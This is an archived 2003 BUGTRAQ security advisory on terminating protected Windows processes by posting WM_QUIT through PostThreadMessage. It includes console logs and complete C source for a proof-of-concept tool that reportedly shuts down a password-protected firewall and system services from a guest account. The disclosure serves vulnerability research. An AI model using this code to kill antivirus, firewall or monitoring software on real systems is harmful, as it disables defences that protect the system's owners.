SecurityFocus BUGTRAQ Mailing List: BugTraqLink Number One Link Number One Link Number Two Link Number Two Link Number One Link Number One Link Number Two Link Number Two Entire Site Advisories Calendar Columnists Elsewhere Guest Feature Infocus Library Links Mailing Lists (all) -- BUGTRAQ -- FOCUS-IDS -- FOCUS-IH -- FOCUS-LINUX -- FOCUS-MS -- FOCUS-SUN -- FOCUS-VIRUS -- FORENSICS -- INCIDENTS -- PEN-TEST -- SEC JOBS -- SF NEWS -- VULN-DEV News Products Services Tools Vulns BUGTRAQ ARCHIVE [ Message Index ] [ Thread Index ][ Reply ] [ prev Msg by Date ][ next Msg by Date ] To: BugTraq Subject: Process Killing - Playing with PostThreadMessage Date: Oct 2 2003 5:28AM Author: Brett Moore Message-ID: ========================================================================= = Process Killing - Playing with PostThreadMessage = = brett moore security-assessment com = http://www.security-assessment.com = = Originally posted: October 02, 2003 ========================================================================= == Background == While continuing our research into shatter attacks, we turned our attention to the PostThreadMessage API. (Start MSDN) - The PostThreadMessage function places (posts) a message in the message - queue of the specified thread and then returns without waiting for the - thread to process the message. - - BOOL PostThreadMessage( - DWORD idThread, // thread identifier - UINT Msg, // message to post - WPARAM wParam, // first message parameter - LPARAM lParam // second message - - The function fails if the specified thread does not have a message queue. - The system creates a thread's message queue when the thread makes its - first call to one of the Win32 USER or GDI functions. (End MSDN) It appears from our testing that any thread running under any security level will accept a WM_QUIT message, causing the process to terminate. (Start MSDN) - WM_QUIT - The WM_QUIT message indicates a request to terminate an application and - is generated when the application calls the PostQuitMessage function. - Return Values - This message does not have a return value, because it causes the message - loop to terminate before the message is sent to the application's window - procedure. (End MSDN) Similar results can also be seen in some cases through the use of sending WM_DESTROY or WM_CLOSE messages. While this does not have the security implications of 'privilege escalation' attacks, it may cause some concerns under certain circumstances. For our testing we used a personal firewall that runs as a service, and requires a password before terminating. When run from a guest account Appshutdown was able to kill the firewall service and various other windows services. This means that any user has the potential to shutdown; * antivirus applications * personal firewall applications * filtering applications * monitoring applications * potentially critical system services. The mitigating factor is that the thread is required to have a message queue. == Example Logs == The test.exe process is the personal firewall that requires a password before shutting down. The following logs are shortened outputs of the tlist and kill commands from the NTRK ------------------------------------------------------- C:\>tlist 208 WINLOGON.EXE NetDDE Agent 1020 test.exe TestFirewall 1132 mstask.exe SYSTEM AGENT COM WINDOW C:\>kill 1020 process test.exe (1020) - 'TestFirewall' killed C:\>kill 208 process WINLOGON.EXE (208) - 'NetDDE Agent' killed ------------------------------------------------------- Authough kill results in the messages above, what really happened was; a) the password prompt appeared when trying to kill 1020 b) the service remained running when trying to kill 208 ------------------------------------------------------- C:\>appshutdown "TestFirewall" % AppShutdown - Playing with PostThreadMessage % brett moore security-assessment com + Finding TestFirewall Window... + Found Main Window At...0x30038h + Finding Window Thread..0x42ch Process 0x3fch + Send Quit Message + Done... C:\>appshutdown "NetDDE Agent" % AppShutdown - Playing with PostThreadMessage % brett moore security-assessment com + Finding NetDDE Agent Window... + Found Main Window At...0x10018h + Finding Window Thread..0x110h Process 0xd0h + Send Quit Message + Done... ------------------------------------------------------- AppShutdown managed to successfully shutdown both services; a) bypassing the required password for the personal firewall b) bypassing the security restrictions placed on shutting down services == Example Code == /************************************************************************ * Appshutdown.c * * Demonstrates the use of PostThreadMessage to; * - shutdown any application with a message handler * * The window title can be specified in code or on the command line * * Works against any application/service process that * has implemented a message handler * *************************************************************************/ #include #include #include char tWindow[]="Windows Task Manager";// The name of the main window char* pWindow; int main(int argc, char *argv[]) { long hWnd,proc; DWORD hThread; printf("%% AppShutdown - Playing with PostThreadMessage\n"); printf("%% brett moore security-assessment com\n\n"); // Specify Window Title On Command Line if (argc ==2) pWindow = argv[1]; else pWindow = tWindow; printf("+ Finding %s Window...\n",pWindow); hWnd = (long)FindWindow(NULL,pWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window\n",pWindow); return 0; } printf("+ Found Main Window At...0x%xh\n",hWnd); printf("+ Finding Window Thread.."); hThread = GetWindowThreadProcessId(hWnd,&proc); if(hThread == NULL) { printf("Failed\n"); return 0; } printf("0x%xh Process 0x%xh\n",hThread,proc); printf("+ Send Quit Message\n"); PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0); printf("+ Done...\n"); return 0; } == Example Vulnerable Programs == From our testing, any process that implements a message queue is vulnerable to been shutdown by a user of any security level. In some instances bypassing shutdown password requirements. This attack must be run through an interactive logon. == Credit == Brett Moore from security-assessment.com == About Security-Assessment.com == Security-Assessment.com is a leader in intrusion testing and security code review, and leads the world with SA-ISO, online ISO17799 compliance management solution. Security-Assessment.com is committed to security research and development, and its team have previously identified a number of vulnerabilities in public and private software vendors products. Want to link to this message? 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